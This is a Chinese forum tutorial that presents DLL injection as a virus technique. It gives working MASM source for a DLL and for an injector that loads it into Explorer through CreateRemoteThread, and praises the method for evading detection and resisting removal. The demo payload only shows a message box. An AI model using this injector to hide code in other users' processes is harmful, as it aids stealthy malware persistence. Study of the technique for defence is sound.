讲讲病毒中要用到的DLL注入,这里的注入不是脚本注入。而是把一个DLL注入到目标程序中去
首先dll注入有很多好处
1.可以没有进程的执行程序,当然这里是没有新建进程。目标进程还是存在的,也就不容易被发现
2.就算被发现了,一般人不借助工具也不好清除
我们来讲将原理,其实DLL也是PE文件,只是它为别人提供服务,让他人调用。其实一个程序在加载DLL的时候,会向DLL中传递参数_hInstance,_dwReason,_dwReserved,其中当_dwReason为DLL_PROCESS_ATTACH的时候,表示被加载,可以在这里完成我们想干的事情,这里掩饰弹出一个对话框
好了,讲下要用到的几个函数
OpenProcess
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
这几个函数的具体说明可以去查MSDN,
简单介绍下
这个 OpenProcess 函数打开一个已存在的进程对象,这样你才可以操作这个进程的资源,
HANDLE OpenProcess(
DWORD dwDesiredAccess, // access flag
BOOL bInheritHandle, // handle inheritance option
DWORD dwProcessId // process identifier
);
其中第一个参数很重要,要指定PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE才可以
PROCESS_CREATE_THREAD,是说明可以创建线程,才可以运行我们要才DLL,PROCESS_VM_OPERATION才可以申请内存来放我们的程序,PROCESS_VM_WRITE可以写代码到目标程序
好了,我们现在来写个DLL,用来注入
复制内容到剪贴板
代码:
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
.const
szText db 'www.exectelv.cn/pjblog',0
szCaption db 'My Blgo',0
.code
DllEn proc _hInstance,_dwReason,_dwReserved
.if _dwReason==DLL_PROCESS_ATTACH ;表示DLL加载,也就是调用LOADLIBRARY时候,这里显示一个对话框
invoke MessageBox,NULL,addr szText,addr szCaption,MB_OK
.endif
ret
DllEn endp
end DllEn连接的时候要注意,用命令Link /subsystem:windows /Dll DLL.obj
好了现在写注入程序,我们的目标是Explorer
先用openProcess来打开进程,但是这个函数要进程的PID,有连个方法来得到进程PID
一个是用CreateToolhelp32Snapshot()、Process32First()和 Process32Next()这几个函数来枚举进程
二是用Findwindow来指定类名,在用GetWindowThreadProcessId,就可以得到进程的PID了
我们用第二中方法,本人太懒了,就直接找到代码改了下,加了注释,
复制内容到剪贴板
代码:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
dwProcessID dd ?
dwThreadID dd ?
hProcess dd ?
lpLoadLibrary dd ?
lpDllName dd ?
.const
szDesktopClass db 'Progman',0
szDllKernel db 'Kernel32.dll',0
szLoadLibrary db 'LoadLibraryA',0
szMyDll db 'Dll.dll',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetModuleHandle,addr szDllKernel
invoke GetProcAddress,eax,offset szLoadLibrary
mov lpLoadLibrary,eax ;得到loadlibrary的地址(因为作为DLL,所以函数的地址都一样),因为这个函数在kernel32中,所以要先得到kernel32的地址
invoke FindWindow,addr szDesktopClass,NULL
invoke GetWindowThreadProcessId,eax,offset dwProcessID ;得到进程的PID,并且存在dwProcessID中
mov dwThreadID,eax
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or \
PROCESS_VM_WRITE,FALSE,dwProcessID ;打开目标进程
.if eax
mov hProcess,eax
invoke VirtualAllocEx,hProcess,NULL,MAX_PATH,MEM_COMMIT,PAGE_READWRITE
.if eax
mov lpDllName,eax ;在目标进程申请内存,将地址存在lpDllName中
invoke WriteProcessMemory,hProcess,\
eax,offset szMyDll,MAX_PATH,NULL ;将DLL的名字写进目标进程,
invoke CreateRemoteThread,hProcess,NULL,0,lpLoadLibrary,\
lpDllName,0,NULL ;在目标进程创建线程,执行loadlibrary加载DLL
invoke CloseHandle,eax
.endif
invoke CloseHandle,hProcess
.endif
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start我们编译,连接看看,再执行
弹出了:
在用冰刃看看EXPLORER的DLL情况
看到了吧,DLL加载了
好了就到这,觉的好的顶起来